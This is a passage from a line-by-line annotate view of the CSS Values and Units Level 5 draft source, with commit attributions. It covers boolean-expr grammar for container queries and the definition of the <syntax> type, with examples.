<boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l260" id="l260"> 260</a> </td> <td class="source"> <container-query> = <boolean-expr[ <cq-test> ]> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l256" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l261" id="l261"> 261</a> </td> <td class="source"> <cq-test> = (<size-query>) | style( <style-query> ) | scroll-state( <scroll-state-query> ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l258" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l262" id="l262"> 262</a> </td> <td class="source"> <size-query> = <boolean-expr[ ( <size-feature> ) ]> | <size-feature> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l259" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l263" id="l263"> 263</a> </td> <td class="source"> <style-query> = <boolean-expr[ ( <style-feature> ) ]> | <style-feature> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l260" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l264" id="l264"> 264</a> </td> <td class="source"> <scroll-state-query> = <boolean-expr[ ( <scroll-state-feature> ) ]> | <scroll-state-feature> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l260" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l265" id="l265"> 265</a> </td> <td class="source"> </xmp> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l261" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l266" id="l266"> 266</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l262" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l267" id="l267"> 267</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l263" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l268" id="l268"> 268</a> </td> <td class="source"> The <<general-enclosed>> branch of the logic allows for future compatibility-- </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l264" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l269" id="l269"> 269</a> </td> <td class="source"> unless otherwise specified new expressions in an older UA </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l265" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l270" id="l270"> 270</a> </td> <td class="source"> will be parsed and considered “unknown”, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l266" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l271" id="l271"> 271</a> </td> <td class="source"> rather than invalidating the production. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l267" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l272" id="l272"> 272</a> </td> <td class="source"> For consistency with that allowance, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l269" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l273" id="l273"> 273</a> </td> <td class="source"> the <css>&lt;test></css> term in a <<boolean-expr[]>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l269" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l274" id="l274"> 274</a> </td> <td class="source"> should be defined to match <<general-enclosed>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l270" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l275" id="l275"> 275</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l203" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l276" id="l276"> 276</a> </td> <td class="source"><h3 id=css-syntax> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l204" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l277" id="l277"> 277</a> </td> <td class="source">Specifying CSS Syntax in CSS: the <<syntax>> type</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l205" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l278" id="l278"> 278</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l206" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l279" id="l279"> 279</a> </td> <td class="source">Some features in CSS, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l207" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l280" id="l280"> 280</a> </td> <td class="source">such as the ''attr()'' function </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l208" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l281" id="l281"> 281</a> </td> <td class="source">or [=registered custom properties=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l210" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l282" id="l282"> 282</a> </td> <td class="source">allow you to specify how <em>another</em> value is meant to be parsed. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l211" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l283" id="l283"> 283</a> </td> <td class="source">This is declared via the <<syntax>> production, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l212" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l284" id="l284"> 284</a> </td> <td class="source">which resembles a limited form of the CSS [=value definition syntax=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l213" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l285" id="l285"> 285</a> </td> <td class="source">used in specifications to define CSS features, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l214" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l286" id="l286"> 286</a> </td> <td class="source">and which represents a [=syntax definition=]: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l215" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l287" id="l287"> 287</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l216" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l288" id="l288"> 288</a> </td> <td class="source"><pre class="prod def" nohighlight> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/8998e24537e2/css-values-5/Overview.bs#l216" title="8998e24537e2: [css-values-5] allow a single syntax component. Closes #11088">jackalmage@31723</a> </td> <td class="lineno"> <a href="#l289" id="l289"> 289</a> </td> <td class="source"> <dfn><<syntax>></dfn> = '*' | <<syntax-component>> [ <<syntax-combinator>> <<syntax-component>> ]* | <<syntax-string>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l218" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l290" id="l290"> 290</a> </td> <td class="source"> <dfn><<syntax-component>></dfn> = <<syntax-single-component>> <<syntax-multiplier>>? </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l219" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l291" id="l291"> 291</a> </td> <td class="source"> | '<' transform-list '>' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l220" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l292" id="l292"> 292</a> </td> <td class="source"> <dfn><<syntax-single-component>></dfn> = '<' <<syntax-type-name>> '>' | <<ident>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l221" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l293" id="l293"> 293</a> </td> <td class="source"> <dfn><<syntax-type-name>></dfn> = angle | color | custom-ident | image | integer </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l222" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l294" id="l294"> 294</a> </td> <td class="source"> | length | length-percentage | number </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l223" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l295" id="l295"> 295</a> </td> <td class="source"> | percentage | resolution | string | time </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l224" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l296" id="l296"> 296</a> </td> <td class="source"> | url | transform-function </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l225" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l297" id="l297"> 297</a> </td> <td class="source"> <dfn><<syntax-combinator>></dfn> = '|' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l226" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l298" id="l298"> 298</a> </td> <td class="source"> <dfn><<syntax-multiplier>></dfn> = [ '#' | '+' ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l226" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l299" id="l299"> 299</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l227" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l300" id="l300"> 300</a> </td> <td class="source"> <dfn><<syntax-string>></dfn> = <<string>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l227" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l301" id="l301"> 301</a> </td> <td class="source"></pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l228" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l302" id="l302"> 302</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l229" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l303" id="l303"> 303</a> </td> <td class="source">A <<syntax-component>> consists of either </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l230" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l304" id="l304"> 304</a> </td> <td class="source">a <<syntax-type-name>> between &lt;&gt; (angle brackets), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l231" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l305" id="l305"> 305</a> </td> <td class="source">which maps to one of the [=supported syntax component names=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l232" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l306" id="l306"> 306</a> </td> <td class="source">or an <<ident>>, which represents any [=keyword=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l233" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l307" id="l307"> 307</a> </td> <td class="source">Additionally, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l234" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l308" id="l308"> 308</a> </td> <td class="source">a <<syntax-component>> may contain a [[css-properties-values-api-1#multipliers|multiplier]], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l235" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l309" id="l309"> 309</a> </td> <td class="source">which indicates a [=list=] of values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l236" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l310" id="l310"> 310</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l237" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l311" id="l311"> 311</a> </td> <td class="source">Note: This means that <code>&lt;length&gt;</code> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l238" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l312" id="l312"> 312</a> </td> <td class="source"> and <code>length</code> are two different types: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l239" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l313" id="l313"> 313</a> </td> <td class="source"> the former describes a <<length>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l240" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l314" id="l314"> 314</a> </td> <td class="source"> whereas the latter describes a [=keyword=] <code>length</code>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l241" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l315" id="l315"> 315</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l242" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l316" id="l316"> 316</a> </td> <td class="source">Multiple <<syntax-component>>s may be [[css-properties-values-api-1#combinator|combined]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l243" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l317" id="l317"> 317</a> </td> <td class="source">with a <code>|</code> <<delim-token>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l244" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l318" id="l318"> 318</a> </td> <td class="source">causing the syntax components to be matched </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l245" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l319" id="l319"> 319</a> </td> <td class="source">against a value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l246" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l320" id="l320"> 320</a> </td> <td class="source">in the specified order. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l247" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l321" id="l321"> 321</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l248" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l322" id="l322"> 322</a> </td> <td class="source"><div class='example'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l249" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l323" id="l323"> 323</a> </td> <td class="source"> <xmp class='lang-css'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l250" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l324" id="l324"> 324</a> </td> <td class="source"> <percentage> | <number> | auto </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l251" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l325" id="l325"> 325</a> </td> <td class="source"> </xmp> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l252" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l326" id="l326"> 326</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l253" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l327" id="l327"> 327</a> </td> <td class="source"> The above, when parsed as a <<syntax>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l254" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l328" id="l328"> 328</a> </td> <td class="source"> would accept <<percentage>> values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l255" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l329" id="l329"> 329</a> </td> <td class="source"> <<number>> values, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l256" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l330" id="l330"> 330</a> </td> <td class="source"> as well as the keyword <code>auto</code>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l257" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l331" id="l331"> 331</a> </td> <td class="source"></div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l258" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l332" id="l332"> 332</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l259" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l333" id="l333"> 333</a> </td> <td class="source"><div class='example'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l260" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l334" id="l334"> 334</a> </td> <td class="source"> <xmp class='lang-css'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l261" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l335" id="l335"> 335</a> </td> <td class="source"> red | <color> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l262" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l336" id="l336"> 336</a> </td> <td class="source"> </xmp> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l263" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l337" id="l337"> 337</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l264" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l338" id="l338"> 338</a> </td> <td class="source"> The [=syntax definition=] resulting from the above <<syntax>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l265" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l339" id="l339"> 339</a> </td> <td class="source"> when used as a grammar for [=parse|parsing=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l266" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l340" id="l340"> 340</a> </td> <td class="source"> would match an input <code>red</code> as an [=identifier=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l267" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l341" id="l341"> 341</a> </td> <td class="source"> but would match an input <code>blue</code> as a <<color>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l268" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l342" id="l342"> 342</a> </td> <td 